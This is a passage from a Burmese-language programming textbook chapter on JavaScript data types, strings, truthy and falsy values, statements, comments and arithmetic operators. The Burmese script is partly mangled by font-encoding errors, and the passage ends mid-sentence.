ဒါဟာ String Variable တစ်ခုထဲမှာ H + e + l + l + o ဆိုတဲ့ Character (၅) ခု အတွဲလုိက် သိမ်းလုိက်တာ
ပါ။ ဒါdeကာင့် တန်oုိးတစ်ခုဆိုတာထက်  Character (၅)  ခု  အတွဲလုိက်ပါတဲ့  တန်oုိးလ့ုိ  dgပာရပါမယ်။ ဒီ
dနရာမှာလည်း  String  တန်oုိးdတွကို  Double Quote  အoွင့်အပိတ်ထဲမှာ ထည့်dရးထားတာကို သတိgပု
ပါ။ Language အများစုမှာ ဒီလုိdရးရdလ့ ရှိပါတယ်။

JavaScript စာအုပ်မှာ နမူနာdတွကို  JavaScript နဲ့ မdပးzဲ Pseudocode နဲ့dပးdနတာ အdeကာင်းရှိပါ
တယ်။ Programming Language dတွကို Data Type စီမံပံုdပါ်မူတည်ပြပီး Statically Typed Language
နဲ့ Loosely Typed Language ဆိုပြပီး အမျ ို းအစား နှစ်မျ ို းရှိလုိ့ နှိုင်းယှဉ်doာ်gပချင်တဲ့အတွက် goစ်ပါတယ်။

Statically  Typed  Language    dတွမှာ    Data  Type    ဟာ  သတ်မှတ်ပြပီးရင်  ပံုdသgoစ်သွားပါပြပီ  ။  အများ
အားgoင့် ကိုယ်တိုင်deကညာပြပီး သတ်မှတ်dပးရပါတယ်။ ဒီလုိပါ –

 Pseudocode 
let num1: i32 = 3;

num1 Variable အတွက် 32-bit Integer အgoစ် Data Type ကို တစ်ခါထဲ သတ်မှတ်dပးလုိက်တာပါ။ ဒီ
လုိသတ်မှတ်dပးပြပီးdနာက်မှာ တgခား Data အမျ ို းအစားdတွကို ဒီ Variable မှာ လက်ခံသိမ်းဆည်းနိုင်မှာ
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မဟုတ်dတာ့ပါzူး။ စdeကညာကတည်းက  Integer သိမ်းoို့  deကညာထားတာ goစ်တဲ့အတွက်  Integer  ပဲ
လက်ခံသိမ်းဆည်းနိုင်မှာပါ။ ဥပမာ -

 Pseudocode 
num1 = 3.14 

ဆိရုင် Error တက်ပါပြပီ။ Float တန်oုိးတစ်ခုကို Integer Variable ထဲမှာ သိမ်းဆည်းo့ုိ ကြကိုးစားdနလ့ုိပါ။

 Pseudocode 
num1 > 3.14

Greater Than သdက[တကိုသံုးပြပီး အကြကီးအdသး နှိုင်းယှဉ်eကည့်လုိက်တာပါ။ ဒါလည်းပဲ Error goစ်ပါလိမ့်
မယ်။  Integer  နဲ့  Float  မတူတဲ့  အမျ ို းအစားနှစ်ခုကို  နှိုင်းယှဉ်o့ုိ  ကြကိုးစားdနလ့ုိပါ။  ဒါဟာ  Statically
Typed Language dတွရဲ့ အလုပ်လုပ်ပံု သdzာသzာဝ goစ်ပါတယ်။

JavaScript  ကdတာ့  Loosely Typed Language  goစ်ပါတယ်။  Dynamic Language  လ့ုိလည်း dခါ်ပါ
တယ်။ သ့ူမှာ  Primitive Data Type (၆) မျ ို းရှိပြပီး အdgခခံအကျဆုံး  (၃) မျ ို းကို မှတ်ထားရင် ဒီအဆင့်မှာ
လံုdလာက်ပါပြပီ။ အ့ဲဒါdတွကdတာ့ - 

• Number
• Boolean
• String

ဒီ (၃) မျ ို းgoစ်ပါတယ်။ JavaScript မှာ Character ဆိုတဲ့ Data Type သီးgခားမရှိပါzူး။ ပြပီးdတာ့ Integer
နဲ့ Float ဆိုပြပီး နှစ်မျ ို းခွဲမထားzဲ Number ဆိုပြပီး တစ်မျ ို းထဲသာ ရှိပါတယ်။ JavaScript ရဲ့ Number ဟာ
64-bit  Float  အမျ ို းအစားပါ။  ဒီတစ်မျ ို းထဲနဲ့  ကိန်းgပည့်၊  ဒဿမကိန်း၊  အdပါင်းကိန်း၊  အနှုတ်ကိန်း၊
အားလံုးကို သိမ်းတဲ့သdzာပဲ goစ်ပါတယ်။
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ဒီထက်ပုိထူးgခားတာကdတာ့ Dynamically Typed Language goစ်လ့ုိ Data Type ကို ကိုယ်တိုင်deကညာ
dပးစရာ မလုိပါzူး။ ထည့်သွင်းလုိက်တဲ့ တန်oုိးdပါ်မူတည်ပြပီး   Data Type   က အလိုအdလျှာက် dgပာင်းလဲ  
အလုပ်လုပ်dပးသွားမှာ goစ်ပါတယ်။

 JavaScript 
let myvar

dပးထားတဲ့နမူနာမှာ  myvar အမည်နဲ့  Variable  တစ်ခု deကညာထားပါတယ်။  Data Type  dgပာမထား
သလုိ တန်oုိးလည်း ထည့်သွင်းထားgခင်း မရှိdသးပါzူး။ ဒါဆိုရင် သူရဲ့ Data Type ကို  undefined လ့ုိ
dခါ်ပါတယ်။ အမျ ို းအစားသတ်မှတ်ထားgခင်း မရှိdသးတဲ့ Variable ပါ။

 JavaScript 
myvar = "ABC"

ဒီတစ်ခါ ကြကိုတင်deကညာထားတဲ့  myvar ထဲကို  ABC လ့ုိdခါ်တဲ့ တန်oုိးတစ်ခုထည့်သွင်းလုိက်ပါပြပီ။ ဒီလုိ
ထည့်သွင်းလုိက်တဲ့အတွက်  myvar ရဲ့  Data Type  က String  goစ်သွားပါပြပီ။ သ့ူအလိုလုိgoစ်သွားတာပါ။
Language  က dgပာင်းdပးလုိက်တာပါ။

 JavaScript 
myvar = 123

ဒီတစ်ခါ myvar ထဲမှာ 123 ဆိုတဲ့ တန်oုိးတစ်ခုထည့်သွင်းလုိက်ပါတယ်။ ရပါတယ်။ Error dတzွာdတွ မ
goစ်ပါzူး။  Language က အလုိအdလျှာက် myvar ရဲ့  Data Type ကို  Number အgoစ်dgပာင်းပြပီး ဆက်
အလုပ်လုပ်dပးသွားမှာ မုိ့လ့ုိပါ။ ဒီသdzာသzာဝကို   Type Juggling   လ့ုိdခါ်ပါတယ်  ။ Type dတွကို အလုိ
အdလျှာက် dgပာင်းdgပာင်းပြပီး သိမ်းdပးသွားတာ မ့ုိလို့ပါ။

ပုိပြပီးdတာ့gမင်သာချင်ရင်  JavaScript  မှာရှိတဲ့  typeof Keyword  ရဲ့အကူအညီနဲ့  အခုလုိdရးပြပီး  စမ်း
eကည့်လို့ရပါတယ်။
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နမူနာပံုမှာ dလ့လာeကည့်လုိက်ရင် zာတန်oုိးမှ မသတ်မှတ်ရခင်မှာ myvar ရဲ့ Data Type ကို typeof
နဲ့  ထုတ်eကည့်လုိက်တဲ့အခါ  undefined goစ်dနတာကိုdတွ့ရမှာgoစ်ပြပီး  တန်oုိးdတွ  ထည့်သွင်းပြပီး
dနာက် typeof နဲ့ ထုတ်eကည့်လုိက်တဲ့အခါ ထည့်သွင်းလုိက်တဲ့ တန်oုိးdပါ်မူတည်ပြပီး myvar ရဲ့ Data
Type  dgပာင်းလဲသွားတာကို  dတွ့gမင်ရgခင်းပဲgoစ်ပါတယ်။ ဒီလုိ ထည့်သွင်းလုိက်တဲ့  တန်oုိးdပါ်မူတည်ပြပီး
Data Type dgပာင်းလဲယံုသာမက အခုလို လုပ်dဆာင်ချက်မျ ို းdတွကိုလည်း လုပ်dပးနိုင်ပါdသးတယ်။

 JavaScript 
"ABC" > 123

String နဲ့ Number အမျ ို းအစား မတူတဲ့ အရာနှစ်ခုကို နှိုင်းယှဉ်dနdပမယ့် Error မgoစ်ပါzူး။ JavaScript
က သ့ူzာသာ တူdအာင်ညိှပြပီး အလုပ်လုပ်dပးသွားမှာ မ့ုိလ့ုိပါ။  ABC ကို  Number dgပာင်းလုိက်တဲ့အခါ 0
ရပါတယ်။  ဒါdeကာင့်  အdgoအdနနဲ့  false  ကိရုမှာပါ။  0  က  123  ထက်  မကြကီးတဲ့အတွက်deကာင့်goစ်ပါ
တယ်။  ဒီသdzာသzာဝကိုdတာ့    Type Coercion    လ့ုိdခါ်ပါတယ်  ။ လုိအပ်တဲ့အခါ  Type  dတွကို  အလုိ
အdလျှာက် ချနိ်ညှိပြပီး အလုပ်လုပ်dပးသွားမှာမို့လ့ုိပါ။
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ဒီလုိသdzာသzာဝရှိတဲ့  Language  အမျ ို းအစားgoစ်လ့ုိ  JavaScript  ကို  Dynamically  Typed
Language လ့ုိdခါ်တာပါ။ ဒီ Dynamically Typed goစ်တဲ့အတွက် အားသာချက်အdနနဲ့ dရးရတာ ပုိလွယ်
သွားပါတယ်။ Type စီမံတဲ့ကိစ္စdတွ ကိုယ်တိုင်လုပ်စရာ မလုိတဲ့အတွက်ပါ။ အားနည်းချက် အdနနဲ့ မdမျှာ်
လင့်တဲ့အမှားdတွ  ကြကုံရတတ်ပါတယ်။ ကိုယ်ကမခိုင်းzဲ  သူ့zာသာလုပ်dနလ့ုိ  ထင်မထားတဲ့  အမှားdတွ
ကြကုံရတာမျ ို းပါ။

Data Type အdeကာင်းdgပာတဲ့အခါ  Primitive Type dတွနဲ့တင် မgပည့်စုံပါzူး။  Compound Type dခါ်
တန်oုိးdတွကို  အတွဲလုိက်သိမ်းလ့ုိရတဲ့  အမျ ို းအစားdတွရှိပါdသးတယ်။  Structure  Type  လ့ုိdခါ်တဲ့
oဲွ့စည်းပံုနဲ့  သိမ်းလ့ုိရတဲ့  အမျ ို းအစားdတွလည်း  ရိှပါdသးတယ်။  ဒီအdeကာင်းdတွကိုdတာ့  Array  dတွ
Object dတွအdeကာင်း dရာက်dတာ့မှ ဆက်eကည့်eကပါမယ်။

String
String အdeကာင်း နည်းနည်းထပ်dgပာပါဦးမယ်။ JavaScript မှာ String တစ်ခုတစ်dဆာက်o့ုိအတွက် သံုး
လ့ုိရတဲ့  သdက[တ  (၃)  မျ ို းရှိပါတယ်။  Single Quote, Double Quote  နဲ့  Back tick  တို့ပါ။  Character
Data Type  ရှိတဲ့  Language  dတွမှာ  Single Quote  ကို  Character  တန်oုိးသတ်မှတ်o့ုိသုံးပြပီး  Double
Quote ကို String တန်oုိးသတ်မှတ်o့ုိ သံုးeကပါတယ်။ ဒီလုိပါ -

 Pseudocode 
let blood: char = 'A';
let greet: str = "Hello";

JavaScript  မှာdတာ့  Character  Data Type  သီးgခားမရှိzဲ  String  တန်oုိးသတ်မှတ်o့ုိအတွက်  Single
Quote (သ့ုိမဟုတ်) Double Quote နှစ်သက်ရာကို အသုံးgပုနိုင်gခင်းgoစ်ပါတယ်။ 

 JavaScript 
let blood = "A"
let greet = 'Hello'
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နှစ်ခုလံုးဟာ မှန်ကန်တဲ့  String တန်oုိးdတွ goစ်eကပါတယ်။ အoွင့်အပိတ် မှန်o့ုိdတာ့လိုပါတယ်။ ဒီdနရာ
မှာ dgပာစရာရှိလာတာက Escape Character အdeကာင်းပါ။ အကယ်၍ 3 O' Clock ဆိုတဲ့ String တန်oုိး
ကို  သတ်မှတ်လိုရင်  zယ်လုိလုပ်ရမလဲ။  ဒါမှမဟုတ်  3"  (၃  dပ)  လုိတန်oိုးမျ ို း  သတ်မှတ်လုိရင်dရာ
zယ်လုိ လုပ်ရမလဲ။ တန်oုိးထဲမှာ Quote dတွပါdနလ့ုိပါ။ ဒီလုိdရးလ့ုိရပါတယ်။

 JavaScript 
let time = "3 O' Clock"

Double Quote  နဲ့သတ်မှတ်ထားတဲ့  String  အတွင်းထဲမှာ  Single Quote  တန်oုိးပါdနတာပါ။ ရပါတယ်။
အကယ်၍  Single Quote  နဲ့သတ်မှတ်ထားတဲ့  String  အတွင်းထဲမှာ  Single Quote  တိုက်ရိုက်dရးလ့ုိ မ
ရdတာ့ပါzူး။ ဒီလုိ dရးdပးရပါတယ်။

 JavaScript 
let time = '3 O\' Clock'

Backslash  သdက[တကိုသံုးပြပီး  Escape  လုပ်dပးလိုက်တာပါ။  တနည်းအားgoင့်  \'  ဆိုတာ  ဒီdနရာမှာ
Single Quote ထည့်လို့ ညွှန်eကားချက် dပးလုိက်တာပါပဲ။ အလားတူပဲ၊ Double Quote နဲ့သတ်မှတ်ထား
တဲ့ String အတွင်းထဲမှာ Double Quote dတွ ထည့်သွင်းo့ုိ လုိရင် အလားတူ Escape လုပ်dပးနိုင်ပါတယ်။

 JavaScript 
let height = "3\" tall"

တgခား Escape လုပ်dပးoို့လုိနိုင်တာdတွ အများကြကီးရှိပါdသးတယ်။ \n ဆိရုင် ဒီdနရာမှာ dနာက်တစ်လုိင်း
ဆင်းလို့ ညွှန်eကားချက် dပးလုိက်တာပါ။ \u1000 ဆိုရင် ကကြကီးဆိုတဲ့စာလံုးတစ်လံုး ဒီdနရာမှာ ထည့်dပး
ပါလို့ dgပာလုိက်တာပါ။ \u ကို ယူနီကုဒ်စာလုံးdတွ ထည့်သွင်းo့ုိ သံုးရတာပါ။ ဒါdတွရဲ့လက်dတွ့ အသံုးgပု
ပံုကို  dgပာoို့dတာ့  နည်းနည်းdစာပါdသးတယ်။  ထံုးစံအတိုင်း  ဒီလုိdရးထံုးမျ ို းdတွ  ရိှတယ်ဆိုတာကိုပဲ
မှတ်သားထားdပးပါ။
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dနာက်ထပ်တစ်မျ ို းgoစ်တဲ့ Back Tick သdက[တနဲ့ သတ်မှတ်ရတဲ့ String dတွကိdုတာ့ Template String
လ့ုိdခါ်ပါတယ်။ String တစ်ခုအတွင်းမှာ တgခားတန်oုိးdတွကို dရာထည့်dရးချင်ရင် အသံုးဝင်ပါတယ်။

 JavaScript 
let name = "Bob"
let greet = `Hello Alice`

ဒါကရိုးရိုးdရးလုိက်တာပါ။ name Variable အတွင်းမှာ Bob လ့ုိdခါ်တဲ့ String တန်oုိးတစ်ခုရှိပြပီး greet
Variable အတွင်းမှာdတာ့ Hello Alice လ့ုိ dခါ်တဲ့ String တန်oုိးတစ်ခု ရှိdနတာပါ။ Template String ရဲ့
ထူးgခားချက်ကdတာ့ အခုလုိdရးလုိ့ရgခင်းgoစ်ပါတယ်။

let name = "Bob"
let greet = `Hello ${name}`

ဒါဆိုရင် greet ရဲ့ တန်oုိးက Hello Bob goစ်သွားမှာပါ။ name Variable ကို  String အတွင်းထဲမှာ dရာ
ထည့်dရးသားလုိက်gခင်း  goစ်ပါတယ်။  ဒီလိုထည့်သံုးနိုင်oို့အတွက်  ${} သdက[တကိုသံုးရပါတယ်။  ဒီ
သdက[တအတွင်းမှာ  ထည့်သွင်းလိုတဲ့  Variable  ကို  dပးရgခင်း  goစ်ပါတယ်။  အသုံးဝင်ပါတယ်။  တgခား
Programming Language dတွမှာ ဒီလုိသdzာမျ ို းနဲ့ တန်oုိးdတွdရာစပ်dပးလ့ုိရတဲ့  String Format ဆို
တာ အdgခခံအကျဆုံးအdနနဲ့  ပါဝင်တဲ့  လုပ်dဆာင်ချက်goစ်ပြပီး  JavaScript  မှာ ဒီလုိလုပ်dဆာင်ချက်မျ ို း
ပါလာတာ မeကာdသးပါzူး။

String တန်oုိးdတွ သတ်မှတ်တဲ့အခါ နှစ်deကာင်းသံုးdeကာင်းခွဲပြပီးdတာ့လည်း dရးလ့ုိရပါတယ်။ ဒီလုိပါ -

 JavaScript 
let name = "Bob"
let age = 22
let greet = `
    Hello ${name},
    you are ${age} years old.
`
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Template String မှ မဟုတ်ပါzူး။ Single Quote, Double Quote နဲ့dရးတဲ့ ရိုးရိုး  String dတွမှာလည်း
အခုလုိပဲ လုိအပ်ရင် လုိင်းdတွခွဲdရးလ့ုိ ရပါတယ်။

Special Data Types
JavaScript  Data  Type  မှာ  ထူးgခားပြပီး  မျက်စိလည်ချင်စရာdကာင်းတဲ့  အမျ ို းအစား  (၃)  မျ ို းရှိပါdသး
တယ်။ undefined, null နဲ့  NaN တို့goစ်ပါတယ်။ dရးသားပံု စာလံုး အကြကီးအdသး dgပာင်းလ့ုိမရပါ
zူး။  ဒီအတိုင်း  အတိအကျရှိdနတာပါ။  undefined အdeကာင်းdတာ့  အdပါ်နားမှာ  dgပာခဲ့ပါတယ်။
Type  အမျ ို းအစား သတ်မှတ်ထားgခင်း  မရှိdသးတဲ့  အdgခအdနကို  undefined လ့ုိdခါ်တာပါ။  null
ကdတာ့ တန်oိုးမရှိတဲ့ အdgခအdနကို dgပာတာပါ။ မတူပါzူး။

 JavaScript 
let myvar

ဒါဟာ အမျ ို းအစားသတ်မှတ်ရgခင်း မရှိdသးတဲ့ undefined Variable တစ်ခုပါ။

 JavaScript 
let myvar = null

ဒါဆိုရင်dတာ့ တန်oုိးမရှိdသးတဲ့ Variable ပါ။ သ့ူရဲ့ Data Type ကိုက null Type goစ်dနတာပါ။

NaN ကdတာ့ Not a Number ရဲ့ အတိုdကာက် goစ်ပါတယ်။ Number Data Type တစ်မျ ို းပါ။ ဒါdပမယ့်
Number လည်း မဟုတ်ပါzူး။ ဒါdeကာင့် NaN ကို  Number မဟုတ်တဲ့  Number Data Type လ့ုိ dခါ်ပါ
တယ်။ အ့ဲဒါdeကာင့် dgပာတာပါ။ ဒီ (၃) မျ ို းက မျက်စိလည်ချင်စရာ dကာင်းပါတယ်။

 JavaScript 
let num1
let num2 = 1
num1 + num2
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ဒီကုဒ်မှာ  num1 က undefined goစ်ပါတယ်။  num2 ကdတာ့  Number  ပါ။ ဒီနှစ်ခုကို dပါင်းလုိက်တဲ့
အခါ  NaN ကိရုပါတယ်။  undefined ကို  Number  dgပာင်းလ့ုိမရတဲ့အတွက်  Number  မဟုတ်တဲ့
Number  goစ်တဲ့  NaN ကိရုတာပါ။ နားရှုပ်ပြပီး  မျက်စိdတွလည်သွားရင် စိတ်မပျက်ပါနဲ့။  အdတွ့အကြကုံရှိ
ကျွမ်းကျင် ပရိုZရမ်မာdတွကိုယ်တိုင် မျက်စိလည်eကတဲ့ အdeကာင်းအရာတစ်ခု goစ်ပါတယ်။ 

Boolean
ဆက်လက်ပြပီးdတာ့ Boolean အdeကာင်း dgပာစရာ ရိှပါdသးတယ်။ ကွန်ပျူတာဟာ 0 နဲ့ 1 dတွ စုoဲွ့ပါဝင်
တဲ့  Binary System ကိုသာ နားလည်တဲ့စနစ် goစ်ပါတယ်။ အလုပ်လုပ်တဲ့အခါမှာ  0  လား  1  လား၊  false
လား true လား၊ မှားလား မှန်လား၊ ဆိုတဲ့ အdgခအdနကို eကည့်ပြပီး အလုပ်လုပ်တာပါ။ ဒါdeကာင့် Boolean
Type မှာ true နဲ့ false ဆိုတဲ့ တန်oုိးနှစ်မျ ို းထဲသာ ရှိdပမယ့် အလွန်အdရးကြကီးတယ်လ့ုိ dရှ့ ပုိင်းမှာ ထည့်
dgပာခဲ့တာပါ။ ကွန်ပျူတာကိုယ်တိုင်က ဒီနှစ်မျ ို းdပါ်မှာ အdgခခံပြပီး ဆုံးgoတ်အလုပ်လုပ်သွားမှာ မုိ့လ့ုိပါ။

Boolean မှာ မူလတန်oုိးအdနနဲ့  true နဲ့  false နှစ်မျ ို းပဲရှိပါတယ်။ ဒါdပမယ့် တgခားတန်oိုးdတွကိုလည်း
လုိအပ်ရင်  Boolean  dgပာင်းပြပီး အသံုးgပုနိုင်ပါတယ်။ ဥပမာ  0  ကို  false  အစား အသံုးgပုပြပီး၊  1  ကို  true
အစား အသံုးgပုနိုင်ပါတယ်။ ဒီလုိတန်oုိးdတွကို  Boolean  dgပာင်းတဲ့အလုပ်ကို  ကိုယ်တိုင်လုပ်စရာမလုိပါ
zူး။ လုိအပ်ရင် JavaScript က သူ့zာသာdgပာင်းပြပီး အလုပ်လုပ်dပးပါတယ်။ ဒါdeကာင့် zယ်တန်oုိးdတွ
ကို Boolean dgပာင်းရင် true ရပြပီး zယ်တန်oိုးdတွကို Boolean dgပာင်းရင် false ရသလဲဆိုတာ သိoို့လုိ
လာပါတယ်။ အကျဉ်းချုပ်အားgoင့် ဒီလုိမှတ်နိုင်ပါတယ်။ 

• 0
• ""
• null
• undefined
• NaN

ဒီ  (၅)  မျ ို းကို  Boolean  dgပာင်းရင်  false  goစ်ပါတယ်။  Zero, Empty String,  null,  undefined နဲ့
NaN တို့ပါ။ ဒီတန်oိုးdတွကို  Falsy Value လ့ုိdခါ်ပါတယ်။ မလုိအပ်zဲ ရှုပ်မှာစိုးလ့ုိ ထည့်မdgပာတာdလး
တစ်ချ ို ့dတာ့ကျန်ပါdသးတယ်။ dလာdလာဆယ် ဒီ  (၅)  မျ ို းကလဲွရင် ကျန်တန်oုိးdတွ  Boolean  dgပာင်း
ရင် true goစ်တယ်လို့ အeကမ်းoျဉ်းအားgoင့် မှတ်နိုင်ပါတယ်။ Truthy Value လ့ုိdခါ်ပါတယ်။ ဥပမာတစ်ချ ို ့
dပးရရင် ဒီလုိပါ။



PWD 2022 – အခန်း (၁၃) – JavaScript Data Types 220

• 1
• -2
• " "
• "false"
• 3.14

ဒါdတွအားလံုးက Truthy goစ်တဲ့  Value  dတွပါ။ အနှုတ်ကိန်းdတွ၊ ဒဿမကိန်းdတွကို  Boolean dgပာင်း
ရင်လည်း  true  ပဲရမှာပါ။ နမူနာမှာ  Space  တစ်ခုပါတဲ့  String  ကိုလည်း ထည့်dပးထားပါတယ်။  Empty
String ဟာ false goစ်dပမယ့် Space တစ်ခုပါတဲ့ String ကdတာ့ true goစ်ပါတယ်၊ Empty မဟုတ်လ့ုိပါ။
ပြပီးdတာ့ "false" ဟာလည်း true goစ်ပါတယ်။ "false" လ့ုိdရးထားdပမယ့် String တစ်ခုgoစ်dနလို့ပါ။

အခုdလာdလာဆယ် ထည့်မeကည့်ရdသးတဲ့  Array  dတွ  Object  dတွလည်း  ကျန်ပါdသးတယ်။  ဒါdတွ
လည်း Truthy ပါပဲ။ ဒါdeကာင့် zာdတွက Truthy goစ်သလဲ လုိက်မှတ်မယ့်အစား Falsy goစ်တဲ့  (၅) မျ ို း
ကို မှတ်ထားလုိက်ရင် ကျန်တာအားလံုး Truthy goစ်တယ်လို့ dကာက်ချက်ချလ့ုိရသွားမှာပဲ goစ်ပါတယ်။
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ကုဒ်dတစွdရးdတာ့မယ်ဆိုရင်  Expression  နဲ့  Statement  လ့ုိdခါ်တဲ့  အdgခခံ  အသံုးအနှုန်းdလးdတွ
အdeကာင်း သိထားo့ုိလိုပါတယ်။  "dနdကာင်းလား"  ဆိုတဲ့ အdမးစကားdလးတစ်ခုဟာ  Expression  goစ်
ပြပီး "zိုzိုdရ dနdကာင်းရင် အgပင်သွားရdအာင်" ဆိုတာကdတာ့ gပည့်စုံတဲ့ Statement တစ်ခုgoစ်သွားပါ
ပြပီ။  Expression  ဆိုတာ  တွက်ချက်မှုdလးdတွ၊  လုပ်dဆာင်ချက်dလးdတွပါ။  ဥပမာ  -  1  +  2  ဟာ
Expression  goစ်ပါတယ်။  num > 10 ဟာလည်း  Expression  တစ်ခုပါပဲ။  အ့ဲဒီတွက်ချက်မှုdလးdတွ၊
လုပ်dဆာင်ချက်dလးdတွdပါ်  မူတည်ပြပီး  zာလုပ်ရမလဲ  ညွှန်eကားသတ်မှတ်လုိက်တဲ့အခါ  Statement
goစ်သွားပါတယ်။ ဥပမာ – 

 JavaScript 
let sum = 1 + 2

ဒါဟာ  Statement  တစ်ခုပါ။  1  +  2  ကိုdပါင်းလ့ုိရလာတဲ့အdgoကို  sum ဆိုတဲ့  Variable  ထဲမှာ  ထည့်
လုိက်ပါလ့ုိ ညွှန်eကားလုိက်gခင်း goစ်ပါတယ်။ ဒါdeကာင့် Expression ဆိုတာ လုပ်dဆာင်ချက်တစ်ခုgoစ်ပြပီး
Statement ဆိုတာ ညွှန်eကားချက်goစ်တယ် လ့ုိ အတိုချုပ်မှတ်နိုင်ပါတယ်။

JavaScript Statement တစ်deကာင်းရဲ့အဆုံးသတ်ကို Semicolon နဲ့ ပိတ်dပးလ့ုိ ရပါတယ်။ ဒီလုိပါ -

 JavaScript 
let sum = 1 + 2;
let greet = "Hello World";

တစ်ချ ို ့  Language  dတွမှာ  ဒီလုိdနာက်ဆုံးကdန  Semicolon  နဲ့ပိတ်dပးo့ုိ  မgoစ်မdနလုိအပ်ပါတယ်။
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JavaScript မှာdတာ့ Optional ပါ။ Semicolon ပိတ်dပးလို့ရသလုိ၊ မပိတ်zဲdရးလ့ုိလည်းရပါတယ်။ ကုဒ်
တစ်လုိင်းထဲမှာ  Statement  နှစ်ခုသံုးခု dရာdရးချင်ရင်dတာ့  Semicolon နဲ့ မgoစ်မdနပိတ်dပးရdတာ့မှာ
ပါ။ ဒီလိုပါ -

 JavaScript 
let n = 5; n + 10;

Statement  dတွအdeကာင်းdgပာရင်းနဲ့  ထည့်dgပာo့ုိလုိလာတာက  Input/Output  Statement  dတွပါ။
dလာdလာဆယ် Output Statement  တစ်ခုကိုအရင်dလ့လာထားeကပါမယ်။  JavaScript  မှာ ရလဒ်dတွ
ကို doာ်gပo့ုိအတွက်  console.log() လ့ုိdခါ်တဲ့  Method တစ်မျ ို းကို သံုးရပါတယ်။ ကွင်းစကွင်းပိတ်
ထဲမှာ doာ်gပdစလုိတဲ့ တန်oုိးကို dပးနိုင်ပါတယ်။ ဥပမာ -

 JavaScript 
let num = 10
console.log("Hello World")
console.log(1 + 2)
console.log(num + 5)
console.log(`The num is ${num}`)

console.log() Method မပါzဲ Expression တစ်ခုကို Console ထဲမှာ ဒီအတိုင်းရိုက်ထည့်ရင်လည်း
ရလဒ်ကို  gမင်dတွ့ရdလ့ရှိပါတယ်။  ဒါက  Console  ထဲမှာ  တိုက်ရိုက်dရးစမ်းdနတာမို့လ့ုိပါ။  တစ်ကယ့်
လက်dတွ့မှာ ကိုယ်က ရိုက်ထုတ်doာ်gပdပးပါလ့ုိ မdgပာရင် ရလဒ်ကို dတွ့ gမင်ရမှာ မဟုတ်ပါzူး။ လုိအပ်
လ့ုိရလဒ်ကို gမင်ချင်တယ်ဆိုရင် console.log() ကိုသုံးပြပီး doာ်gပo့ုိ ညွှန်eကားdပးရမှာပဲgoစ်ပါတယ်။

Comments
Statement  dတွအdeကာင်းdgပာရင်းနဲ့  Code  Comment  dတွအdeကာင်းလည်း  ထည့်dgပာo့ုိ  လုိလာပါ
တယ်။ ကုဒ်dတွdရးတဲ့အခါ မှတ်ချက် Comment dတွလည်း ထည့်dရးလုိ့ရပါတယ်။ ဒီလုိပါ –

 JavaScript 
let count = 10 // Number of items per page
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နမူနာမှာ gမင်dတွ့ရတဲ့  Slash  သdက[တနှစ်ခုdနာက်က ကုဒ်ကို  Comment  လ့ုိdခါ်ပါတယ်။ dရးထားတဲ့
ကုဒ်ကို  ကွန်ပျူတာက အလုပ်လုပ်တဲ့အခါ  ဒီ  Comment    dတွကို  ထည့်အလုပ်လုပ်မှာ  မဟုတ်ပါzူး  ။  ဒီ
နည်းနဲ့ မှတ်ချက်dတွ ကုဒ်ထဲမှာ dရာdရးထားလုိရင် ရနိုင်ပါတယ်။

Comment က တစ်deကာင်းထက်ပိုမယ်ဆိုရင် Block Comment dရးထံုးကို အသံုးgပုနိုင်ပါတယ်။ ဒီလုိပါ -

 JavaScript 
/*
    Number of items per page.
    Change this value to determine how many
    items to be shown on home page.
*/

let count = 10

dရှ့ က /* နဲ့oွင့်ပြပီးdနာက်က */ နဲ့ ပိတ်dပးလုိက်တာပါ။ ဒီအoွင့်အပိတ်eကားထဲမှာ dရးထားတာdတွက
လည်း Comment dတွပါပဲ။

Comment  dတဟွာ  ထည့်အလုပ်လုပ်မယ့်ကုဒ်  မဟုတ်dပမယ့်  အdရးကြကီးပါတယ်။  dရးထားတဲ့ကုဒ်ရဲ့
အဓိပ္ပါယ်ကို ဒီလုိ  Comment dလးdတွနဲ့ ရှင်းgပရတာပါ။ မဟုတ်ရင် zာလ့ုိဒီလိုdရးခဲ့လဲဆိုတာ dနာင်မှာ
ကိုယ်တိုင် dမ့သွားတာ၊ မမှတ်မိdတာ့တာမျ ို းdတွ goစ်နိုင်ပါတယ်။ ကိုယ်ရည်ရွယ်ချက်နဲ့ကိုယ် dရးထားလ့ုိ
ကိုယ့်အတွက် အဆင်dgပdပမယ့်၊ သူများကလာeကည့်တဲ့အခါ ဒီကုဒ်က zာကိုဆိုလိုမှန်း နားမလည်zူးဆို
တာမျ ို းdတွ goစ်နိုင်ပါတယ်။ လုိအပ်တဲ့dနရာမှာ  Comment  dလးdတွထည့်ပြပီး ရှင်းgပထားခဲ့မယ်ဆိုရင် ပုိ
ပြပီးdတာ့ oတ်ရှုနားလည်ရလွယ်တဲ့ကုဒ်dတွ goစ်သွားdစနိုင်ပါတယ်။

Operators
Expression dတွ  Statement dတွ တည်dဆာက်oို့အတွက်  Operator  dတွလုိအပ်ပါတယ်။ အdပါင်း၊ အ
နှုတ်၊ အdgမှာက်၊ အစား စတဲ့တွက်ချက်မှုပုိင်း Operator dတွလုိအပ်သလုိ၊ တန်oုိးသတ်မှတ်gခင်း၊ နှိုင်းယှဉ်
gခင်းတို့လို လုပ်ငန်းdတွအတွက်လည်း Operator dတွလုိအပ်ပါတယ်။ ဒီ Operator dတွအdeကာင်း ဆက်
eကည့်eကပါမယ်။
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Arithmetic Operators
အdgခခံ dပါင်းနှုတ်dgမှာက်စား Operator dတွကdတာ့ ရှင်းပါတယ်။ dပါင်းo့ုိအတွက် + သdက[တကိုသံုးရ
ပါတယ်။ နှုတ်o့ုိအတွက်  -  သdက[တကို  သံုးရပါတယ်။ dgမှာက်o့ုိအတွက်  *  သdက[တကို  သံုးရပြပီး၊  စားoို့
အတွက် / သdက[တကို သံုးရပါတယ်။

+ သdက[တမှာdတာ့ ထူးgခားချက်နှစ်ခု ရှိပါတယ်။ သ့ူကို ကိန်းZဏနေန်းdတွကို dပါင်းoို့အတွက် သုံးနိုင်သလုိ၊
String dတွ တွဲဆက်o့ုိလည်း သံုးနိုင်ပါတယ်။ String Concatenation လ့ုိ dခါ်ပါတယ်။ ဥပမာ -

 JavaScript 
1 + 1 // 2
'a' + 'b' // ab
1 + 'a' // 1a
'a' + 1 // a1

dနာက်ပုိင်းကုဒ်နမူနာdတွမှာ လုိအပ်ရင် ရလဒ်ကို အခုလုိ Comment အdနနဲ့တွဲပြပီးတစ်ခါထဲ doာ်gပdပးပါ
